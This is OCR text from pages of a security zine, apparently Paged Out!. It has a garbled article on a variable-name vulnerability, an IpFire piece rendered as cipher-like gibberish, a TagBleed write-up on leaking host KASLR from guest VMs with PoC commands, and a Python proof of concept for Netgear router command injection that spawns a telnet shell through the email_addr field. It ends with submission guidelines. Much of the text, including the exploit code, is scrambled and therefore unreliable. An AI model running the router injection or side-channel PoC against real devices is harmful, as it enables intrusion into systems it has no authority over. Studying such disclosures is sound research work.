

How a variable name caused a critical vulnerability

+RZ D YDULDE

F U L W L F D ( §Y]1& ~ ]f OvCpbif ~]&Pj JvCPU &YC y~] Yy] PiP]
PP Jo& Ply P y+P ]1& OR]3Y.]P 1fY]vhb~~]1F&P¥]
PipP]P~]~&YrP]U CYup
£&+~]+~]1& |~1YYy2]YYNENSOOS8E]PP ]&Y]PP]
P Yyi+ePP$ C2]PPO ]iPpy+PUC JlUbe~ [PJUy+f+0UPC]
i*CP yPu+CHiP]PP]Y$& yo+~ ]~ Gy ]
pvvC+Uubt+YPb

L O]'+P>%ybUYP+bPR]P]v P tyPt+YP]t ~1 y]pt]
E£Yy Y®FPP] | y2]2 Py £Yy YPJU&PCC P ~]$& +y]
UYP~+CtPPt~]tMP]POU+$+Y-~] YPCP]I2] YPC]
YY]¥E¥88]@ $]n£E] BUP-PY ]O?] +y~1]apyDy

Py t~]ab~]'2bYb RPIYPYRPCYP ]JOPPP yb

£&+~]abP~]PY$]&PvVv P+P [+HR]Peyy]
P VvY+PiR]$¥%bPF]O+~$]0O PP]i&PF]+F ~]~P R]
y+ &t&]A cca

SOQDXWKHQWLFDWHG( &DQ \RX VSRW

L]+P~1PCC ]%& J1YYCR]~ BJPR]ICYY> ]p%]
PCC]t& | P VY+P%~]+%] OvY~ P]IPPa]+P% y ~¢+P£§
YP ~]~+G&]P~] 1 +C ~ B] iCY ~ 8] 1 +C OPPP y 1,5
y i PC ]1& O~ Ci ~B]Y-RG2]PP|PHH& PPt |

e~ ylUY+QGPUU ~~]1& P Yy]OPO+OPC]+QyP G%R]
abPt 13Y] YUs~]YP]-PPet& P%+ubJfi+pupl

Ue ~]$&P$]GPP]U ] ©VCY+1 [o+$&Y+1]&P{+P ]1Y]CY ]
+POPJUP ]+Pbet& Pt+abt ] P vY+PH]FEW]Y Y-t

O alJiy P yb

PILICYY> 1Pt]t& ]~Yeyd JaY ]JYTHR Y]
VY+P1]PP ]+0O0 +bf C2]&b |PP] v+v&bP23] PP]
*]~vYt]+f]b~]a CCA&

£&+~] P VY+P$]PCCYo~]2Y.]tY]y P y]PP2]2Cbh~>]
$+ OVCbPbf ]YP]$& ] +C ~3~% OP]E£&+~]PCOY~$]~Y+P ~]

ENsCP ybuC Rly+]&tdy >~Y JH~ yi w~+ ] %Y]aYe]~ J+&UAYP +]iPpy+P0UC JU +P JvP~~ ]1Y]

t OvCPt ]+P9 Gt+YPlob+1t+P JtYlW&PV PR & 1+ OvCPif &]A CCR]?CP~>]&P~]~YO ] P«CH]
GYeC P %] + ey ]Yef]PPa]sBPRevCY ] CYubClipy+pPUC ~] Yy]t OvCbPt ~]~0&]P~]
ObPC+U+NMrOvCbPt P]£& ]YPC2]t OvCPht ~]L]aY+C ]y X* ~$B] ~ ~~+YR]PP JUYP +P] P J1& ]

y P ylo+$&]1&+~] «PGf+YPPC+1t2]o y J$& JYP ~]2Yy~*]vPytalE£&H-C+]JUYP + Jipy+PUC JUYP1P+P~]
~evvC+ ]02]3& ]PVVC+UPHEYE b] 1& |pvvC+UPT+Y®) ~)£ [)ER]u&+G&]JUPP]U ]

e~ 1fY]~+ P]ZAE£]fY> P~R] taP

£& ]+P YP&IPICOVCP | ©Ov G4i~]PJGYP + ]
ipy+buC ]pP ]Jy P y~]+f]i+P] 66UYP + 006 BJu-%]
U Gbe~ ]a 1&Pj ]P]ebP2]Y ]y P y+P ]1& ]+ OvCPh1 ]
o+1&Yet]vb~~+P ]+P]ibyalb&g €YubC]

£& |PVVC+UP$+YP]~=JEtCOVCP I+ ~]C+> ] GYP +]iPy+PUC J+~]+~ ]+P~% b B]y ~+C1+P ]+P]

CY ~p&+OC |PPC ~P&+0OC b]&+y Ca]t&P$]0e~$]T&+~]i*CP yPu+C+124a

U ]+Pfy ~t+P JfY]y P yR]y+ &t&JAPYGH PP

xe+f P]£& ~ ]+ OvCbt ~]by ]9+~%]1& ]~& CC]Y ]

a&bi ~]~&YeP]YP]f& ]~ay PR]i& 2] YP f]JaYPIbP+P]

PPa] PfPbP]£&+~]i+~+54¥PP] yiCY ~P&$OC

Oy Ca]~&Yu~]$& ]2L]Y ]$& ]CY ~B]PY$]$& ]CY ]

GYP} Pi~-b

£& 1OP+PtP+P y]xe+0U>C2]~YCj ]3& ]+~~ ]J0?]
y PPO+P 1+&YP +]iPpy+buC ]$Y]
GYP + YC K]PP ]t&bi]abp~]iR]) J+1P]

YouTube: https://www.youtube.com/c/PinkDraconian
Twitter: https://twitter.com/PinkDraconian LinkedIn:
https://www.linkedin.com/in/robbe-van-roey/



IpFire RouterFirewall-IPS

7KH *18 /LQX[ GLVWUR ,3)LUH D IRUN RI WKH ,3&RS SURMH
URXWHU ILUHZDOO VFHQDULRY ZLWK DQ LQWXLWLYH JUDSK
+7736 IRU PDQDIJHPHQW HQDEOLQJ VHUYLFHV WR EH DFWLY
SOXJ LQV

Q\EHUVHFXULW\ LV WKHFHQWUDO SULRULW\EHKLQG WKH SU|
KDUGHQLQJ SURFHVV SUHYHQWYV WDUJHWHG DWWDFNV ZLWk
GHYHORSHG XQGHU WKH *3/ OLFHQVH LW KDV D KLJKO\ DF
GHYHORSHUV ZKR KDYH FUHDWHG VROXWLRQV WR WKH PRV
QHHGV EHKLQG WKH GLVWULEXWLRQ ,3)LUH LV IUHH VRIW
FRPPXQLW\ DQG LV FRQVLGHUHG UHOLDEOH E\ D ODUJH «
2SHQB6RXUFH SKLORVRSK\ LQ ZKLFK HYHU\ SHUVRQ LQ WKH
VRXUFH FRGH LQWHJUDWH LW DQG LPSURYH LW WR PDNH W
WKHUH LV DOVR VLIJQLILFDQW FDUH IRU WKH NHUQHO LQFOX
6SHFWUH DWWDFNV UHODWHG WR ,QWHO SURFHVVRUYV

,3)LUH ZKHQ DSSOLHG WR D 3& ZLWK WZR QHWZRUN FDUGV D
URXWHU ILUHZDOO URXWHU :L )L RU DFFHVV SRLQW ZLWK
WKURXJK WKH XVH RI6QRUW WR EORFN WDUJHWHG DWWDFNV

7KH ZHEVBWIHJH FRFRRQWDLQV IRUXPV DQG EORJV VHUYLQJ V
SURIHVVLRQDO KHOS DQG VSHFLILF FRQVXOWLQJ WKHUH LV
DVVLVWDQFH IRU EXVLQHVV XVH )RU WKH UHPDLQLQJ QHL

ZLNL . 3)IUH RUJ

JRU WKRVH ZKR ZLVK WR FRQWULEXWH WR WKH 725 SURMHFW WKH FRPPXQLW\
KWWSV ZZZ LSILUH RUJ GRFV FRQILIJXUDWLRQ LSILUH SDNILUH WR FUHDWH DQ HQ\
QHWZRUN RU FROQWULEXWH WR WKH JOREDO 725 QHWZRUN
E\VWDUWLQJD 725 UHOD\ VHUYHU 7KH YDULHW\RI WRROV
PDGH DYDLODEOH E\ WKH GLVWUR DOORZVIRUHQKDQFLQJ

WKH GHIHQVHV RI D /$1

QHWZRUN DQG SURYLGHYV

XWLOLWLHV IRU WKH ,7 VIVWHP EXLOGHU )RU H[DPSOH WKH
RINTOLQH SUR[\ FDFKH IXQFWLRQ DVVRFLDWHG ZLWK
EODFNOLVWY DOVR UDQNHG E\ FRXQWU\ DOORZV IRU
RSWLPLIDWLRQDQG VDYLQJVLQ GDWD WUDIILF

JRU WKRVH ZKR ZRXOG OLNH WR FRQWULEXWH WR WKH

GHYHORSPHQW RI WKH
UHIHUHQFHYVY FDQ EH

FRGH DOO QHFHVVDU\
IRXQG DW WKLV OLQN

ZLNL LSILUH RALDEHYLMOLY DQ 2SHQB6RXUFH
SURMHFW LW LV VXSSRUWHG E\ GRQDWLRQV IURP WKH

FRPPXQLW\ D SURMHFW

WKDW KDV UHFHLYHG PXFK

SRVLWLYH DFFODLP IURP QHWZRUN DGPLQLVWUDWRUV DQG
SHQWHVW H[SHUWV VLQFH LWV LQFHSWLRQ /LQX[ DV
DOZD\V LV WKH SULPDU\ RSHUDWLQJ V\VWHP IRU WKRVH
ZKR KDYH HPEUDFHG WKH 2SHQB6RXUFH DQG IUHH

SKLORVRSK\ 7KH /LQX]

SKLORVRSK\ DOORZV IRU

PRGHOLQJ WKH RSHUDWLQJ VI\VWHP IRUD ZLGH YDULHW\
RI' XVHV ITURP PLFURFRPSXWHUV WR VXSHUFRPSXWHUV

7KHHYHU LQFUHDVLQJ KDUGZDUH VXSSRUW DVVRFLDWHG ZLWK WKH /LQX[ NHUQHO V

DQG SULYDF\E\GHIDXOW

PDNH WKH SURMHFW D JUHDW EHQFKPDUN LQ DQ\VFHQDULR 11

2ULJLQDOO\ SXEOLVKHG LQ ,WDOLDQ DW KWWSV ZZZ LFWVHFXULW\PDJD]LQH F

https://www.linkedin.com/in/fabio-carletti-ryuw/



Leaking Host KASLR from Guest VMs Using Tagged TLB

Leaking Host KASLR from

TagBleed by VUSec researchers [TAG] is a side
channel attack which allows an unprivileged local

user to leak Kernel Address Space Layout
Randomization ( KASLR) bits using tagged
Translation Lookaside Buffer (TLB) This article
demonstrates the attack in a virtualized
environment , where a guest user can partially leak
host KASLR bits using the TLB lookups done during

VM -exit.

!

Overview of TagBleed Attack

TLB caches the recent page table translations done

by the Memory Management Unit (MMU). Every time
there is a context switch, TLB entries are flushed. In

order to avoid this and improve the overall
performance, TLB entries are tagged using process -
context identifier (PCID) . This allows TLB to be
shared between processes. A virtual address ( VA) is
mapped to a TLB set using an indexing function.

This indexing function can be linear or complex
depending on the microarchitecture . By knowing
the indexing function, it is possible to precisely evic t
a TLB set by accessing a series of user space
addresses . In the interest of simplicity ~ , consider the
Sandy Bridge microarchitecture which has a linear
indexing function. For 4KB pages, the 7 bits
following the 12 -bit page offset in a VA  are utilized
as an index into the 128 -set L2 TLB . An attacker
could evict TLB sets from 0 to 127 and measure the

time it takes to access a memory location within a
targeted kernel module through an IOCTL system
call. If the measured access time increases after
evicting a particular TLB set, then the 7 -bit TLB set
index could be part of the moduleOs  randomized VA.
This gives away KASLR bits partially.

!

TagBleed Attack  on Hypervisors

While TagBleed side channel works across user -
kernel trust boundary, the question is can it leak
information  across hypervisor boundary? In
virtualized environments, TLB entries are tagged
with Virtual Processor Identifiers (VPID). The host
Virtual Machine Monitor (VMM) entries are tagged

to VPID 0, whereas the guest entries translated
through the Extended Page Table s (EPT) are tagged
with VPID assigned to  the vCPU. By utilizing VPIDs,
the TLB is shared among both guests and the host,
removing the necessity to flush TLB entries during
VM-entry or VM -exits. Since TLB is shared , the
guest can systematically evict TLB sets and measure
the time taken for VM -exits.

The test environment used in the experiment
consists of Ubuntu Desktop 18.04.4 LTS host with
5.8-rc3 kernel running on Intel(R) Core(TM) i7 -
2670QM  CPU @ 2.20GHz (Sandy Bridge
microarchitecture) . The guest Ubuntu  Server 20.04
LTS configured with 2 vCPUs and 4GB RAM runs on
top of KVM+QEMU . Since VM-exits can be noisy ,
selecting a n exit event that executes minimal code

The article was originally published

https://twitter.com/renorobertr/

at https://github.com/renorobert/tagbleedvmm

Guest VMs Using Tagged TLB

is crucial. For analysis  purposes , VM -exit triggered
by writes to the Model -Specific Register (MSR)
MSR_IA32_TSC_DEADLINE turned out to be a good
option. In KVM, this eventre -enters the guest using

a fast path . Since MSR_IA32_TSC_DEADLINE is
written with  random data, the guest is booted with
Olapic=notscdeadlineO kernel parameter. The PoC for
leaking KASLR bits includes a kernel driver which
evicts TLB setsand logs the time taken for  VM-exits.
The VMM within KVM, operating on Intel CPUSs,
comprises the kernel modules kvm.ko and kvm -
intel.ko. The output below reveals leaked KSLR bits
0x32 and 0x42 from the randomized addresses
pointing to data pages of kvm_intel.ko and kvm.ko

at offsets 0x3c00 and 0x7a000, respectively. These
results are consistent  even across host reboots. The
source code for the project can be found on GitHub
[SRC].

demo@guest:~/tagbleedvmm$ sudo insmod tlbdev/tlbdev.ko
demo@guest:~/tagbleedvmm$ sudo ./tracer/tracer
tracer: [+] Measuring TLB evictions across VMEXITSs...
tracer: [+] Check trace_tlb.log file...
demo@guest:~/tagbleedvmm$ python
scripts/tlb_evict_solver.py results/trace_tlb.log

Set: 0x32, Time: 5104

Set: 0x42, Time: 5099

Set: 0x37, Time: 5086

Set: 0xOc, Time: 5062

Set: 0x3d, Time: 5037

Set: 0x33, Time: 4986

Set: Ox4c, Time: 4964

Set: 0x13, Time: 4959

Set: 0x18, Time: 4959

demo@host:~$ sudo cat /proc/modules | grep -i kvm
kvm_intel 286720 4 - Live Oxffffffffc04f6000

kvm 708608 1 kvm_intel, Live Oxffffffffc0448000

>>> hex(((Oxffffffffc04f6000 + 0x3c000) & 0x7f000) >> 12)
'0x32L'

>>> hex(((Oxffffffffc0448000 + 0x7a000) & 0x7f000) >> 12)
'0x42L'

Figure: Graph shows the time measured for eviction. TLB s et index
along y-axis and round s along x-axis

[TAG] https://download.vusec.net/papers/tagbleed_eurosp20.pdf
[SRC] https://github.com/renorobert/tagbleedvmm

I(July 12, 2020)
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PSV-2020-0595: Post Authentication Command Injection on Netgear Router

nonw E sP & Z }FH
o o lle:/etc/email/send_log
W}eSr HSZ vS] S]}v }lel Rélevant Code:
Line No 95cmd="cat $email_file | $smtpc
/V I S ] } \ $(print_smtpc_arg) >/dev/null
2>$err_file"

been identified in Netgear Routers, allowing an
authenticated attacker to execute arbitrary

o

import requests

commands on the system. import re
import base64
import urllib.parse
import os

X XR450, running firmware versions prior to HOST = "192.168.1.1" # Router IP Address
PORT ="80"

2.3.2.114 . . . . USERNAME = "admin”

X XR500, running firmware versions prior to PASSWORD = "Touhid@PoC" #admin password
2.3.2.114 AuthToken = base64 b64encode((USERNAME +":" +

x WNR2000v5, running firmware versions prior PASSWORD) encode(asci)

headers = {
10 1.0.0.76 ‘Authorization': 'Basic ' + AuthToken.decode(‘ascii
‘Content-Type': 'application/x- wwwform-urlencoded’,
'Accept’:
. . ‘text/html,application/xhtml l,application/xml;q= 0.9,i
The heart of the issue is the absence of robust Huebpotaepg T epplEatonmia mage
. . . . - }

servgr-5|de validation for user inputs within the les = requests.get(Fhtip{HOST}{(PORTYFW,_email, -

Email Module. Attackers exploit this weakness by headers=headers)

L. ) L. i token = re.findall(r'timestamp=(\w+)', str(res.cont ent))[0]

injecting malicious commands into the
. PAYLOAD = "/usr/shin/utelnetd$IFS- d$IFS-I$IFS/bin/sh"

email_addr and auth_user parameters. The COMMAND = urllib.parse.quote(‘tms@touhidshaikh.com; addr=""+
client-side validator's inadequacy allows the PG BODY =
i f'submit_flag=email&Apply=Apply&email_notify_enable d=1&send_
Storage Of harmful payloads’ WhICh are Iater alert_immediately=1&schedule_hour=&email_endis_auth =1&email_
executed when the scheduler or "Send Log" addr_r':,ig:ﬁEAMAND}&em(aiI_srgp_mn;]szkimtp.example. )c}cém&e;]uth_
. ' . . user_hid={urllib.parse.quote(tms@touhidshaikh.com’ auth_p
button trlggers thésendlog() function located in wd_hd=password&cfAlert_Select_hid=1&cfAlert_Day_hid=0& email
. . _notify=1&email_smtp=us2.smtp.example.com&email_add r={COMMAN
the /etC/emalllsend_IOQ flle- D}&smtp_auth=1&auth_user={urllib.parse.quote(‘tms@t ouhidshai
kh.com’)}&auth_pwd=password&block_site=1&cfAlert_Se lect=1"
. . . res =

1. Requie: Attackers need admin credentials for requests.post(Fhttp:/{HOST}:{PORT}apply.cgi?/FW_ email.htm
the attack %20timestamp={token}", headers=headers, data=POST_B ODY)

2. Payload CraftingAttackers craft a malicious e e e P HOSTHPORTYFW.log 1t m
pay|0ad within thema”_addr and token = re.findall(r'timestamp=(\w+)', str(res.cont ent))[0]
auth_user parameters. POST_BODY =

— . p . . "submit_flag=logs_send&action_Send=Send+Log&hidden_ log_site=

3. Storage:The payload is stored in the system ghidden_log_block=ghidden log_conn=ghidden_log_rout  er-&hidde

. H HH H n_log_dosport=&hidden_log_port=&hidden_log_wire=&hi dden_log_
Conflguratlon! ready to be Utlllzed by dlfferent conn_reset=&hidden_log_wire_sched=&hidden_log_ready share=&hi
SCfiptS. dden_log_mobile_conn=&log_detail=ANYTING&log_router=1"

4. Activation: When the scheduler or "Send Log" ry:
. . . . . res =
button is activated, thésendlog() ' function is requests.post(fhttp:/{HOST}{PORTY/func.cgi?/FW_ 0g.htm%20
eXECUted. ::rmngzﬁrilfoz{token} , headers=headers, data=POST_BODY s
=10)

5. Dependency:sendlog() 'relies on exceﬁgss
'‘print_smtpc_arg() ' within
/etc/email/send_log which retrieves cesystemieinet ™ HOST)

configuration settings usingnvram' variables.
6. Payload RetrievalThe malicious payload is
retrieved fromemail_addr andauth_user
variables and passed to the eval function.
7. Execution:Arbitrary commands are executed
on the system, resulting in unauthorized
commands execution on router.

https://www.securityium.com https://x.com/touhidshaikh2
2



Pickle Schizophrenia
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Trojan Code
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Would you like to see your article published in the next issue of Paged
Out!?

Here’s how to make that happen:

First, you need an idea that will fit on one page.
That is one of our key requirements, if not the most important. Every article can only occupy one
page. To be more precise, it needs to occupy the space of 515 x 717 pts.

We have a nifty tool that you can use to check if your page size is ok - https://review-
tools.pagedout.institute/

The article has to be on a topic that is fit for Paged Out! Not sure if your topic is?

You can always ask us before you commit to writing. Or you can consult the list here: https://
pagedout.institute/?page=writing.php#article-topics

Once the topic is locked down, then comes the writing, and it has to be done by you. Remember,
you can write about Al but don’t rely on it to do the writing for you ;) Besides, you will do a better
job than it can!

Next, submit the article to us, preferably as a PDF file (you can also use PNGs for art), at
articles@pagedout.institute.

Here is what happens next:

First, you will receive a link to a form from us. The form asks some really important questions,
including which license you would prefer for your submission, details about the title and the name
under which the article should be published, which fonts you have used and the source of images
that are in it.

Remember that both the fonts and the images need to have licenses that allow them to be used
in commercial projects and to be embedded in a PDF.

Once the replies are received, we will work with you on polishing the article. The stages include a
technical review and a language review.

If there are images in your article, we will ask you for an alt text for them.

After the stages are completed, your article will be ready for publishing!

Not all articles have to be written. If you want to draw a cheatsheet, a diagram, or an image,
please do so, we accept such submissions as well.

This is a shorter and more concise version of the content that can be found here:
https://pagedout.institute/?page=writing.php and here:

https://pagedout.institute/?page=cfp.php

The most important thing though is that you enjoy the process of writing and then of getting your
article ready for publication in cooperation with our great team.

Happy writing!
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